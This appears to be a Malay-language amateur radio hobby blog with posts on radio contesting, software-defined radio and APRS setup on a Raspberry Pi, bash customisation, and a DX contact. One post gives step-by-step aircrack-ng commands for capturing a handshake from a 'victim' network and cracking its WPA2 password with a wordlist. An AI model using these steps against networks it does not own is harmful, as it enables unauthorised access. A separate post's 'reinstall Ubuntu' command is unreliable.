Monday, May 22, 2017

9m2mdx Great Dxer From Alor Gajah, Melaka


9m2mdx Nazmi adalah satu lagi tanda panggilan yang tidak asing lagi dalam dunia radio amatur. Khususnya dalam aktiviti radio contest. Beliau telah mendapat pelbagai kejayaan manis dalam arena radio sport ini. Bermula dengan callsign 9W2GSG, Beliau telah menyertai contest pertama beliau iaitu pada tahun 2013 dengan tanda panggilan 9M4SG dan memperoleh kejayaan manis iaitu mendapat tempat pertama di dalam Malaysia dan tempat kedua di dalam Asia bagi kategori Multi-Operator Multi-Transmitter dalam CQWW WPX 2013 SSB


kemudian, dengan berbekalkan pengalaman yang ditimba semasa menyertai pasukan 9M4SG, Nazmi 9W2GSG pada masa itu turut mencuba nasib beliau di dalam CQWW WPX 2014 SSB. Kali ini sebagai Single Operator Single Band Low dan memilih band 10m sebagai medan pertarungannya.
 
Dalam contest tersebut, beliau mendapat tempat kedua dalam Malaysia dan tempat ke 12 dalam Asia. Namun ianya tidak langsung mematahkan semangat beliau dalam arena ini. Dengan semangat darah pahlawan yang mengalir disetiap pembuluh darah beliau, Nazmi 9M2MDX pada masa itu berjaya menebusnya dengan mendapat tempat pertama di dalam CQWW 2014 SSB.
Beliau meneruskan kecemerlangan beliau lagi dalam CQWW CW 2014 dengan mendapat kedudukan pertama di dalam Malaysia bagi kategori Single Operator Low Power bagi band 10m.
Sehubungan dengan kejayaan beliau itu, Pengurus pasukan 9M2M iaitu 9M2GET Hairie telah meminang beliau dan membawa beliau ke Utara Semenanjung Malaysia bagi menyertai pasukan contest dari Arau iaitu 9M2M. Pilihan pengurus 9M2M memang tepat, Nazmi 9M2MDX telah berjaya membantu pasukan 9M2M di dalam contest CQWW CW 2015 dan melakar kejayaan manis dengan mendapat kedudukan pertama di dalam Malaysia.

Percaturan yang direncanakan oleh pengurus 9m2m itu amat tepat sekali. Pilihan mengambil 9M2MDX sebagai ahli keluarga 9M2M juga adalah satu keputusan yang paling tepat di dalam dunia. Memang sudah ditakdirkan yang 9M2MDX ini akan bertemu jodoh dengan 9M2M. Selain daripada pasukan 9M2M, Nazmi juga dengan penuh kecemerlangan membantu pasukan tanahair beliau sendiri iaitu 
9M2SI dan 9M4SG di dalam dua contest iaitu CQWPX SSB 2015 dan CQWW SSB 2015 dan berjaya mendapat tempat pertama bagi kedua-dua contest tersebut. Nampak tak kehebatan Nazmi... dimana sahaja ada Nazmi, disitu ada kejayaan. Kawan salute sama Nazmi Julaini 9M2MDX.


Aura kehebatan beliau diteruskan lagi, pada tahun 2016... Nazmi Julaini sekali lagi membantu pasukan 9M4SG di dalam CQ WPX 2016 SSB dan berjaya mendapat tempat pertama di dalam kategori Single Operator All Bands pada contest tersebut. Beliau sememangnya seorang operator radio yang cukup berpengalaman dan hebat di dalam dua mode sekaligus iaitu mode CW dan mode SSB. Memang terbukti kehebatan beliau. Kehebatan dan kecemerlangan beliau terus memuncak lagi dengan satu lagi kejayaan yang amat luar biasa.

9m2mdx
Kali ini di dalam Oceania Contest, Nazmi 9M2MDX telah mencoret satu kejayaan yang amat manis dan saya pasti ianya akan terpahat di dalam sanubari sampai bila-bila. Dalam contest tersebut, Nazmi telah mendapat tempat pertama di dalam Asia bagi kategori single operator 20m. Suatu kejayaan yang amat manis dan bermakna sekali. Amat bermakna bagi kami kerana #1 di dalam asia ini adalah kejayaan seorang anak muda dari Alor Gajah, Melaka dan ianya adalah hasil daripada tungkus lumus dan kesabaran beliau dalam menghadapi cabaran contest yang penuh dugaan dan cabaran ini.

Tahniah sekali lagi diucapkan kepada 9M2MDX di atas kejayaan beliau di dalam Oceania DX Contest 2016. Semoga kejayaan terus cium beliau bagi tahun-tahun yang akan mendatang. Teruskanlah kecemerlangan ini demi kelangsungan radio-sport Malaysia. Jika bukan anda, siapalah lagi. 73 9m2zak.

Tuesday, May 16, 2017

How to get a colored bash and change the title of the current terminal tab



buka teks editor,

sudo nano .bashrc

tambah dua line ini,

PS1='\[\033[1;36m\]\u\[\033[1;31m\]@\[\033[1;32m\]\h:\[\033[1;35m\]\w\[\033[1;31m\]\$\[\033[0m\] ' #colour



PROMPT_COMMAND='echo -en "\033]0;9m2zak Terminal\a"'      #terminal 
pada perkataan 9m2zak Terminal tu, tukarlah ke apa-apa perkataan pilihan anda

kemudian save dan

source .bashrc

tutup terminal dan buka balik, seelok-eloknya reboot pi3 anda. Have fun...


Monday, May 15, 2017

How to crack WPA2 WIFI using Raspberry Pi3

sudo apt-get -y install libssl-dev libnl-3-dev libnl-genl-3-dev ethtool

wget http://download.aircrack-ng.org/aircrack-ng-1.2-rc4.tar.gz
tar -zxvf aircrack-ng-1.2-rc4.tar.gz
cd aircrack-ng-1.2-rc4
sudo make
sudo make install

sudo airodump-ng-oui-update

sudo airmon-ng start wlan1

sudo airodump-ng --bssid xx:xx:xx:xx:xx -c X --write (nama wifi mangsa) wlan1mon

apabila dapat handshake, tekan crtl+c untuk hentikan, kemudian run

sudo aircrack-ng (nama mangsa)-01.cap -w ./yourwordlist.txt

tunggu hingga password muncul, proses ini memakan masa hingga 2 atau lebih jam.

Have fun....

Thursday, May 11, 2017

gnuradio running in VMWare Ubuntu 14.04

sudo apt-get update
sudo apt-get build-dep gnuradio
sudo apt-get install gnuradio gnuradio-dev gr-osmosdr librtlsdr-dev libuhd-dev libhackrf-dev libitpp-dev libpcap-dev git

cd ~
git clone git://op25.osmocom.org/op25.git
cd op25
mkdir build
cd build
cmake ../
make
sudo make install
sudo ldconfig

sudo nano /etc/modprobe.d/dvb-blacklist.conf
blacklist r820t
blacklist rtl2832
blacklist rtl2830

# ctrl+x to save and exit

sudo cp/etc/pulse/client.conf /etc/pulse/client.confbackup
sudo nano /etc/pulse/client.conf

edit the following line: from: ;autospawn = yes To: autospawn = no

Restart!

Create trunk.tsv
Create tg.tsv

Create scope.tsv

./scope.py --args rtl=0 -N LNA:46 -f 773.9687e6 -S 1024000 -q -1 -V -T trunk.tsv -2
chmod +x scope.sh

sumber rujukan : Matthew Lindstrom

Tuesday, May 9, 2017

Single Command to reinstall Ubuntu

untuk reinstall atau restore Ubuntu kembali ke factory install, pada terminal anda, run command ini.

sudo dpkg-reconfigure -phigh -a

Jangan lupa, backup semua data anda dahulu. Have fun!!!

Install pybombs

$ [sudo] pip install PyBOMBS
If you do want to install the latest version from git, but still use pip, you run the following command:
$ [sudo] pip install [--upgrade] git+https://github.com/gnuradio/pybombs.git
Add a list of recipes, e.g. by running
 $ pybombs recipes add gr-recipes git+https://github.com/gnuradio/gr-recipes.git  
 $ pybombs recipes add gr-etcetera git+https://github.com/gnuradio/gr-etcetera.git
Install GNU Radio, gr-osmosdr and some other goodies into your home directory ~/prefix:
 $ pybombs prefix init ~/prefix -a myprefix -R gnuradio-default
Run GNU Radio Companion from your new prefix:
 $ source ~/prefix/setup_env.sh
 $ gnuradio-companion

How to get a colored bash?

Open ~/.bashrc in any ur favourite text editor 
and uncomment line:
#force_color_prompt=yes
to be:
force_color_prompt=yes
save then execute source ~/.bashrc

contoh,
$ nano ~/.bashrc
#force_color_prompt=yes tukar ke
force_color_prompt=yes dan exit dan save.

Monday, May 1, 2017

Gqrx SDR for the Raspberry Pi 3


Hardware : Raspberry Pi 3, RTL SDR Dongle, 7 inci HDMI LCD Touch Screen

Langkah Pertama : 
pi@raspberrypi ~ $ sudo apt-get update
pi@raspberrypi ~ $ sudo apt-get upgrade
pi@raspberrypi ~ $ cat <no-rtl.conf
blacklist dvb_usb_rtl28xxu
blacklist rtl2832
blacklist rtl2830
EOF
pi@raspberrypi ~ $ sudo mv no-rtl.conf /etc/modprobe.d/

pi@raspberrypi ~ $ sudo apt-get install git-core
pi@raspberrypi ~ $ sudo apt-get install git
pi@raspberrypi ~ $ sudo apt-get install cmake
pi@raspberrypi ~ $ sudo apt-get install libusb-1.0-0-dev
pi@raspberrypi ~ $ sudo apt-get install build-essential

pi@raspberrypi ~ $ git clone git://git.osmocom.org/rtl-sdr.git
pi@raspberrypi ~ $ cd rtl-sdr/
pi@raspberrypi ~/rtl-sdr $ mkdir build
pi@raspberrypi ~/rtl-sdr $ cd build
pi@raspberrypi ~/rtl-sdr/build $ cmake ../ -DINSTALL_UDEV_RULES=ON
pi@raspberrypi ~/rtl-sdr/build $ make
pi@raspberrypi ~/rtl-sdr/build $ sudo make install
pi@raspberrypi ~/rtl-sdr/build $ sudo ldconfig
pi@raspberrypi ~/rtl-sdr/build $ cd ~
pi@raspberrypi ~ $ sudo cp ./rtl-sdr/rtl-sdr.rules /etc/udev/rules.d/
pi@raspberrypi ~ $ sudo reboot

pi@raspberrypi ~ $ rtl_test
Found 1 device(s):
  0:  Generic, RTL2832U, SN: 77771111153705700

Using device 0: Generic RTL2832U
Found Rafael Micro R820T tuner
Supported gain values (29): 0.0 0.9 1.4 2.7 3.7 7.7 8.7 12.5 14.4 15.7 16.6 19.7 20.7 22.9 25.4 28.0 29.7 32.8 33.8 36.4 37.2 38.6 40.2 42.1 43.4 43.9 44.5 48.0 49.6
Sampling at 2048000 S/s.

Info: This tool will continuously read from the device, and report if
samples get lost. If you observe no further output, everything is fine.

Reading samples in async mode...
Langkah kedua,
$ sudo apt-get update
$ sudo apt-get upgrade
   (reboot if necessary)
$ sudo apt-get install libqt5gui5 libqt5core5a libqt5network5
$ sudo apt-get install libqt5widgets5 libqt5svg5 libportaudio2
$ wget https://github.com/csete/gqrx/releases/download/v2.6/gqrx-2.6-rpi3-2.tar.xz
$ tar xvf gqrx-2.6-rpi3-2.tar.xz
$ cd gqrx-2.6-rpi3-2
$ ./setup_gqrx.sh
Siap... untuk run gqrx, sila ke /home/pi/gqrx-2.6-rpi3-2
dan right klik pada file run_gqrx.sh. Selepas itu, dalam kotak 
command line to execute: taip /home/pi/gqrx-2.6-rpi3-2/run_gqrx.sh
tick juga Excute in terminal emulator. Selepas itu klik OK. Dan siaplah.
video dibawah ini adalah hasilnya, jika ada sebarang masalah, boleh komen pada 
ruangan komen dibawah.

sumber rujukan : http://gqrx.dk/download/gqrx-sdr-for-the-raspberry-pi

Saturday, April 29, 2017

Thursday, April 27, 2017

Raspberry Pi 3 APRS IGate : Secara asasnya.


Kali ini, saya menggunakan Raspberry Pi sebagai platform utama bagi projek IGate. Sebelum ini saya menggunakan PC untuk tujuan tersebut, kali ini saya cuba pula dengan Pi 3. Saja suka-suka, Bagi yang ingin mencubanya di bawah ini saya sertakan langkah-langkahnya.

Langkah pertama, update firmware dahulu.

sudo apt-get update
sudo apt-get dist-upgrade
sudo rpi-update
sudo reboot

Langkah kedua, install libasound2.dev

sudo apt-get install libasound2-dev

Langkah ketiga, download Dire Wolf

cd ~
git clone https://www.github.com/wb2osz/direwolf
cd direwolf

untuk dapatkan version yang paling stabil bagi Dire Wolf, taip

git tag

kemudian akan keluar senarai version yang ada, jika tidak tahu nak pilih yang mana satu, taip 

git checkout dev

Langkah keempat, compile dan install

cd ~/direwolf
make
sudo make install
make install-rpi
make install-conf

Langkah kelima, percubaan pertama, taip

cd ~
direwolf

sepatutnya paparan seperti di bawah ini, akan kelihatan, jika tidak, sila ulangi langkah pertama kembali.

Dire Wolf version …
Audio device for both receive and transmit: default
Could not open audio device default for input
No such file or directory
Pointless to continue without audio device.

jika paparan diatas kelihatan, ini bermakna anda sudah pun berjaya dan mari kita teruskan setup kita.

Langkah keenam, audio input / output

Sebenarnya Raspberry Pi sudah ada built-in output audio tetapi untuk input, ianya tidak ada. Tiada audio input. Untuk memastikannya ada atau tidak output audio devices pada Pi3, taip ini pada terminal

aplay -l

paparan ini akan kelihatan,

 **** List of PLAYBACK Hardware Devices ****
card 0: ALSA [bcm2835 ALSA], device 0: bcm2835 ALSA [bcm2835 ALSA] 
Subdevices: 8/8
 Subdevice #0: subdevice #0
 Subdevice #1: subdevice #1
 Subdevice #2: subdevice #2
 Subdevice #3: subdevice #3
 Subdevice #4: subdevice #4
 Subdevice #5: subdevice #5
 Subdevice #6: subdevice #6
 Subdevice #7: subdevice #7
card 0: ALSA [bcm2835 ALSA], device 1: bcm2835 ALSA [bcm2835 IEC958/HDMI]
 Subdevices: 1/1
 Subdevice #0: subdevice #0

Jadi nampaknya memang sahlah ada output audio. Mari kita semak samada ada atau tidak input audio device yang built-in bagi Pi3 ini, untuk itu, taip ini pada terminal

arecord -l

saya percaya, paparan ini akan muncul,

**** List of CAPTURE Hardware Devices ****

Jadi bermakna sahlah tiada audio input device, Maka disini saya cadangkan kepada rakan-rakan guna USB sound card. Macam saya, saya guna C-Media USB Sound Card. Gambar dibawah

kemudian cucuk usb external sound card ini pada Pi3 anda, dan untuk memastikan yang ianya dikesan, taip semula 

arecord -l

sepatutnya paparan ini akan kelihatan,

**** List of CAPTURE Hardware Devices ****
card 1: CODEC [USB Audio CODEC], device 0: USB Audio [USB Audio] 
Subdevices: 1/1
Subdevice #0: subdevice #0

jika nampak paparan di atas, maknanya oklah tu.

Langkah ketujuh : direwolf.conf

Kali ini, kita setup callsign kita, kedudukan station kita seperti long-lat, server aprs, beacon dan pelbagai lagi perkara berkaitan dengan IGate kita. Untuk itu, ianya perlu di edit pada file direwolf.conf. Fili ini berada di 

/home/pi/direwolf.conf

buka file direwolf.conf dan edit pada bahagian yang saya hitamkan itu, tapi jangan hitamkan pula dalam file tu, ni hanya utk panduan


#
# Sample configuration for SDR read-only IGate.
#

# We might not have an audio output device so set to null.
# We will override the input half on the command line.
ADEVICE null null
CHANNEL 0

# Put your callsign in place of xxx below.
MYCALL XXX

# Pick appropriate servers for your geographical region.
#
#      noam.aprs2.net    - for North America
#      soam.aprs2.net     - for South America
#      euro.aprs2.net      - for Europe and Africa
#      asia.aprs2.net       - for Asia
#      aunz.aprs2.net      - for Oceania
#
# Change the following line if you are not in North America.
IGSERVER asia.aprs2.net

# You also need to specify your login name and passcode.
# This is the same passcode you would use with any other IGate
# application. Contact the author if you can't figure out
# how to generate the passcode.

IGLOGIN XXX 123456

# That's all you need for a receive only IGate which relays

# messages from the local radio channel to the global servers.

Gantikan dengan callsign sendiri siap dengan SSID pada XXX dan pada 123456 tu, gantikan ia dengan passcode anda sendiri.

Langkah kelapan : Ujian sebenar

Dengan menggunakan handy/mobile rig/scanner 2m band anda. Cucuk kabel stereo ke speaker handy/mobile rig/scanner anda dan tune ke 144.390mhz. Hujung stereo kabel satu lagi anda cucuk pada MIC External USB Sound Card anda. Kini anda sudah bersedia untuk ke udara.

reboot Pi 3, dan pada terminal, taip

cd ~
direwolf

Jika paparan lebih kurang macam ini kelihatan, anda sudah pun berjaya. Jika tak, sila ulang langkah pertama




Semoga posting kali ini memberi manfaat kepada kita. 73 Zaki 9M2ZAK



My new DXCC #231 : A25UK from Botswana


Kejadian baru berlaku 15 minit yang lalu, sebenarnya daripada petang tadi kawan memburu callsign ini. Dengan penuh kesabaran memanggil di 18073.00 mhz. Akhirnya kesabaran kawan mendapat pulangannya. Tiba-tiba callsign kawan dipanggil olehnya. Sungguh tidak disangka kerana pada ketika itu, A25UK ini mendapat pileup yang hebat dari station Jepun dan mereka pula datang dengan kuasa tinggi (BIG GUN). Namun dengan berbekalkan sedikit ketabahan dan kesabaran, ianya berhasil dan menambahkan lagi bilangan DXCC kawan, iaitu menjadi #231 DXCC. Bagi yang belum mendapat lagi, jangan risau kerana mereka akan ke udara dari 25 April hingga 5 May 2017, dalam mode phone, cw dan rtty dari 160m hingga 10m. Selamat memburu...73 Zaki

27/4/2017 12:45:12 UTC / A25UK / 18073.00 / CW / 599 599  

9m2mdx Great Dxer From Alor Gajah, Melaka

9m2mdx Nazmi adalah satu lagi tanda panggilan yang tidak asing lagi dalam dunia radio amatur. Khususnya dalam aktiviti radio contest. ...